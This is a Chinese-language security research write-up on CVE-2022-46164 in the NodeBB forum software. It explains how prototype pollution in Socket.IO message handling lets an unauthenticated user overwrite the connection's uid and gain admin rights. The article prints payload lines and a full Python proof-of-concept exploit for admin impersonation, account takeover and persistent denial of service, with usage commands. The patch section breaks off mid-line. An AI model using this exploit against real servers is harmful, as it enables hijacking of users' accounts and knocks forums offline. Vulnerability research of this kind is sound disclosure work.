NodeBB账户接管漏洞分析(CVE-2022-46164):原型链污染与权限提升

本文详细分析了NodeBB论坛平台中的CVE-2022-46164漏洞,该漏洞源于JavaScript原型链污染,允许攻击者通过Socket.IO消息调用内置方法,实现管理员权限提升、账户接管及服务拒绝攻击。

NodeBB账户接管漏洞分析(CVE-2022-46164) | STAR Labs

作者:Ngo Wei Lin (@Creastery) & River Koh (@oceankex)
日期:2023年9月29日
阅读时间:14分钟

目录

关于CVE-2022-46164

CVE-2022-46164影响NodeBB,一个基于Node.js并搭配Redis、MongoDB或PostgreSQL数据库的开源社区论坛平台。该平台利用Socket.IO实现即时交互和实时通知功能。

NodeBB官方公告的相关细节如下:

  • 标题:通过原型漏洞实现账户接管
  • 受影响版本:< 2.6.1
  • 已修补版本:2.6.1
  • CVSS评分:严重 - 9.4(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)
  • 影响:由于在socket.io消息处理中使用了一个带有原型的普通对象,特制负载可用于伪装其他用户并接管账户。
  • 变通方案:站点维护者可以将提交48d1439精选到代码库中以修补漏洞。

进一步调查发现:

  • 漏洞允许在继承默认Object.prototype的对象上任意调用方法。
  • 通过调用Object类型的内置方法,攻击者可覆盖Socket.IO连接的属性。
  • 除了用户伪装和账户接管,还可利用此漏洞使服务器崩溃。
  • CVSSv3.1评分应为9.8而非9.4,向量字符串为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H。
  • v2.6.1版本中的补丁不足以缓解漏洞。
  • 漏洞影响至NodeBB v2.8.0(即NodeBB < v2.8.1)。

漏洞详情

:本节漏洞分析使用易受CVE-2022-46164攻击的NodeBB v2.6.0。

NodeBB虽提供REST API促进客户端与服务器通信,但某些功能通过Socket.IO执行以实现更低延迟的交互。NodeBB平台使用Socket.IO库建立WebSocket连接,并回退到HTTP长轮询。Socket.IO库支持除默认open、close、error和message事件外的自定义事件发射。标准Socket.IO消息可使用socket连接上的.emit()方法发射:

1
socket.emit(<事件名称>, <消息数据>)

NodeBB利用此功能模拟传统HTTP请求。在src/socket.io/index.js中,Socket.IO事件名称用于指定“API路由”,消息数据用于传递请求参数。注意,发送的参数可以是除函数外的任何类型。

1
2
const eventName = payload.data[0];
const params = typeof payload.data[1] === "function" ? {} : payload.data[1];

API路径由斜杠分隔,而eventName由点分隔。例如,以下代码从uid为46的用户移除管理员角色:

1
socket.emit("admin.user.removeAdmins", ["46"])

为实现此功能,NodeBB导出一组方法并将其存储在requireModules()的Namespaces对象中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
function requireModules() {
    const modules = [
        "admin",
        "categories",
        "groups",
        "meta",
        "modules",
        "notifications",
        "plugins",
        "posts",
        "topics",
        "user",
        "blacklist",
        "uploads",
    ];

    modules.forEach((module) => {
        Namespaces[module] = require(`./${module}`);
    });
}

用户要执行操作,需使用eventName指定要调用的方法,并提供参数作为消息体。以下代码片段演示了如何使用eventName调用指定方法。为确保指定函数有效,NodeBB在onMessage()中递归查找eventName,每次迭代检查对象的指定属性是否有效:

1
2
3
4
5
6
7
8
const parts = eventName.toString().split('.');
const namespace = parts[0];
const methodToCall = parts.reduce((prev, cur) => {
    if (prev !== null && prev[cur]) {
        return prev[cur];
    }
    return null;
}, Namespaces);

每次迭代执行检查prev !== null && prev[cur]。此处存在漏洞。根据MDN Web文档:

JavaScript中几乎所有对象都是Object的实例;典型对象从Object.prototype继承属性(包括方法)。

只要方法是Namespaces内的嵌套属性,即可执行。但由于Namespaces未使用Object.create(null)初始化,它包含指向Object.prototype的私有属性__proto__:

1
Namespaces.__proto__ === Object.prototype

由此,Object.prototype的constructor属性将返回包含多个可调用内置方法的Object的引用:

1
Namespaces.__proto__.constructor === Object

通过检查方法调用,可观察此漏洞:

1
2
3
4
5
6
7
8
9
if (methodToCall.constructor && 
    methodToCall.constructor.name === "AsyncFunction") {
    const result = await methodToCall(socket, params);
    callback(null, result);
} else {
    methodToCall(socket, params, (err, result) => {
        callback(err ? { message: err.message } : null, result);
    });
}

预期功能是允许用户调用Namespaces对象内的函数。但可调用内置方法如Object.assign()和Object.defineProperties()。这两种方法特别有用,因为它们允许覆盖socket对象的属性。

实现管理员伪装

与无状态HTTP请求不同,Socket.IO连接是有状态的。存储在socket对象中的此“状态”允许服务器识别客户端及其相关权限。NodeBB通常在模块的before()函数中执行此授权检查,该函数在调用methodToCall()之前执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
if (Namespaces[namespace].before) {
    await Namespaces[namespace].before(socket, eventName, params); // 授权检查
}

if (methodToCall.constructor && methodToCall.constructor.name === 'AsyncFunction') {
    const result = await methodToCall(socket, params); // methodToCall()
    callback(null, result);
} else {
    methodToCall(socket, params, (err, result) => { // methodToCall()
        callback(err ? { message: err.message } : null, result);
    });
}

SocketAdmin.before()的实现如下:

1
2
3
4
5
6
7
SocketAdmin.before = async function (socket, method) {
    const isAdmin = await user.isAdministrator(socket.uid);
    if (isAdmin) {
        return;
    }
    ...
}

观察到socket对象的uid属性是用于确定用户相应访问权限的唯一标识符。因此,将uid覆盖为管理员用户的uid将赋予我们管理员权限。假设默认管理员账户uid:1正在使用中,以下负载允许使用同一Socket.IO连接的后续事件以管理员权限执行:

1
2
socket.emit('__proto__.constructor.assign', {'uid':1})                     // 使用Object.assign()覆盖uid,或
socket.emit('__proto__.constructor.defineProperties', {'uid':{'value':1}}) // 使用Object.defineProperties()覆盖uid

由于user.isAdministrator(1) === true,使用同一Socket.IO连接的后续事件可以管理员权限执行。一旦攻击者实现权限提升,即可注册管理员账户。以管理员用户登录后,攻击者可通过API更改其他账户的密码和邮箱来危害其他账户。

实现拒绝服务

此漏洞还可用于使服务器崩溃。除了uid,socket对象的另一个属性是adapter。Socket.IO具有Adapter,这是一个服务器端组件,负责向所有或部分客户端广播事件。当socket连接关闭时,Socket.IO内部调用socket.adapter.delAll()函数将其从其他房间移除。因此,将adapter属性覆盖为{}意味着typeof socket.adapter.delAll === object(即非函数),导致无效函数调用,进而使进程崩溃:

1
2
socket.emit('__proto__.constructor.assign', {'adapter':{}})
socket.disconnect()

进程终止时,NodeBB尝试通过启动另一个进程来重启。但如果快速连续触发多次重启(更具体地说,10秒内3次重启),NodeBB将完全停止:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[cluster] Child Process (66) has exited (code: 1, signal: null)
[cluster] Spinning up another process...
...
    at Object.onceWrapper (node:events:627:28)
    at WebSocket.emit (node:events:513:28)
    at WebSocket.onClose (/home/ocean/Code/NodeBB-2.6.0/node_modules/engine.io/build/transport.js:110:14)
    at Object.onceWrapper (node:events:628:26)
2023-02-01T08:10:19.268Z [4567/2035080] - info: [app] Shutdown (SIGTERM/SIGINT) Initialised.
2023-02-01T08:10:19.272Z [4567/2035080] - info: [app] Web server closed to connections.
2023-02-01T08:10:19.288Z [4567/2035080] - info: [app] Live analytics saved.
2023-02-01T08:10:19.304Z [4567/2035080] - info: [app] Database connection closed.
2023-02-01T08:10:19.304Z [4567/2035080] - info: [app] Shutdown complete.
3 restarts in 10 seconds, most likely an error on startup. Halting.

利用条件

要实现用户伪装或账户接管,数据库中必须至少有一个用户。实现持久拒绝服务未识别其他约束。未经验证的攻击者预计能够可靠地利用此漏洞。

概念验证

创建了一个概念验证利用脚本来自动化以下操作:

  • 以管理员身份执行任何方法
  • 注册管理员账户
  • 接管任何现有账户

利用脚本

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
# NodeBB (< v2.8.1) 任意方法调用 (CVE-2022-46164)
# 作者:River Koh (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import socketio
import requests
import re
import random
import string
import argparse
from time import sleep

adminUID = 0
targetURL = ''

def callback(a, b):
    print(a, b)

def findAdmin(a, b):
    global adminUID
    if b != None and 'groupTitleArray' in b and 'administrators' in b['groupTitleArray']:
        adminUID = b['uid']

def DOS():
    while True:
        sio = socketio.Client()
        try:
            sio.connect(f'{targetURL}/socket.io')
            sio.emit('user.__proto__.constructor.assign', {'adapter':{}})
            sleep(0.5)
            sio.disconnect()
        except:
            sleep(0.1)

def RegisterAdminUser(username, password):
    userUID = 0
    def findUser(a, b):
        nonlocal userUID
        userUID = b['uid']
    # 劫持管理员会话
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    # 接管管理员会话
    sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 
    
    r = requests.session()
    headers = {"User-Agent": ""}
    # 注册的CSRF令牌
    response = r.get(f'{targetURL}/register', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    # 注册
    data = {"username": username, "password": password, "password-confirm": password, "token": '', "noscript": "false", "_csrf": csrf, "userLang": "en-US"}
    response = r.post(f"{targetURL}/register", headers=headers, data=data)
    # 获取CSRF以完成注册
    response = r.get(f'{targetURL}/register/complete?registered=true', headers=headers)

    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    response = r.post(f"{targetURL}/register/complete/?_csrf={csrf}", headers=headers, data={'gdpr_agree_email':'on','gdpr_agree_data':'on','email':''})
    
    # 获取注册用户的UID
    sio.emit('user.getUserByUsername', username, callback=findUser)
    sleep(1)
    # 使用户成为管理员
    sio.emit('admin.user.makeAdmins', [userUID]) 
    sleep(1)
    sio.disconnect()    
    return username, password


def Takeover(user, adminUsername, adminPassword, userPassword):
    targetUserUID = 0
    def findTarget(a, b):
        nonlocal targetUserUID
        if b == None:
            print('用户不存在')
            quit()
        targetUserUID = b['uid']
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    # 接管管理员会话
    sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 

    # 登录管理员账户
    r = requests.session()
    headers = {"User-Agent": ""}
    response = r.get(f'{targetURL}/login', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    data = {"username": adminUsername, "password": adminPassword, "remember": "on", "_csrf": csrf, "noscript": "false"}
    response = r.post(f'{targetURL}/login', headers=headers, data=data)

    # 获取注册用户的UID
    sio.emit('user.getUserByUsername', user, callback=findTarget)
    sleep(1)
    response = r.get(f'{targetURL}/groups/administrators', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    headers = {"User-Agent": "", "x-csrf-token": csrf}
    response = r.put(f"{targetURL}/api/v3/users/{targetUserUID}/password", headers=headers, json={"newPassword": userPassword})

    if 'ok' in response.text:
        print('管理员凭据: ', f'{adminUsername}:{adminPassword}')
        if user != '':
            print('目标凭据: ', f'{user}:{userPassword}')
            
    sio.disconnect()    

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", action="store", help="目标用户")
    parser.add_argument("-t", "--targetURL", action="store", help="托管NodeBB的URL")
    parser.add_argument("-p", "--password", action="store", help="设置新密码以覆盖")
    parser.add_argument("-C", "--command", action="store", help="要执行的Websocket命令")
    parser.add_argument("-P", "--params", action="store", help="要执行的Websocket命令")
    parser.add_argument("-r", "--register", action="store", help="注册具有管理员权限的新账户")
    parser.add_argument("-d", "--dos", action="store_true", help="DoS")
    args = parser.parse_args()

    targetURL = args.targetURL
    defaultPassword = args.password if args.password else 'password11'

    # 查找管理员账户
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    uid = 0
    while adminUID == 0:
        sio.emit('user.getUserByUID', uid, callback=findAdmin)
        uid+=1
        sleep(1)
    sio.disconnect()

    if args.dos:
        DOS()
    elif args.command and args.params:
        sio  = socketio.Client()
        sio.connect(f'{targetURL}/socket.io')
        sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 
        sio.emit(args.command, args.params, callback = callback)
        sleep(1)
        sio.disconnect()
    elif args.register: # 注册管理员
        r = requests.get(f'{targetURL}/api/v3/users/bySlug/{args.register}', allow_redirects=False)
        if r.status_code != 404:
            print('用户名已占用')
            quit()
        user, pwd = RegisterAdminUser(args.register, defaultPassword)
        print(user,":", pwd)
    elif args.user: # 接管用户账户
        user, pwd = RegisterAdminUser(''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=15)), defaultPassword)
        Takeover(args.user, user, pwd, defaultPassword)

使用示例

安装以下依赖:

1
$ pip install requests argparse python-socketio[client]

以管理员身份执行任何方法:

1
$ python3 poc.py --targetURL http://localhost:4567 --command user.getUserByUsername --params user1

注册管理员账户:

1
$ python3 poc.py --targetURL http://localhost:4567 --register user1234 --password password22

接管任何现有账户:

1
$ python3 poc.py --targetURL http://localhost:4567 --user user1234 --password password22

触发持久拒绝服务:

1
$ python3 poc.py --targetURL http://localhost4567 --dos

补丁分析

v2.6.1

根据此漏洞的官方公告,NodeBB v2.6.1中的提交48d1439包含一行修复,应精选到现有代码库中以修补漏洞:

1
- const Names
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计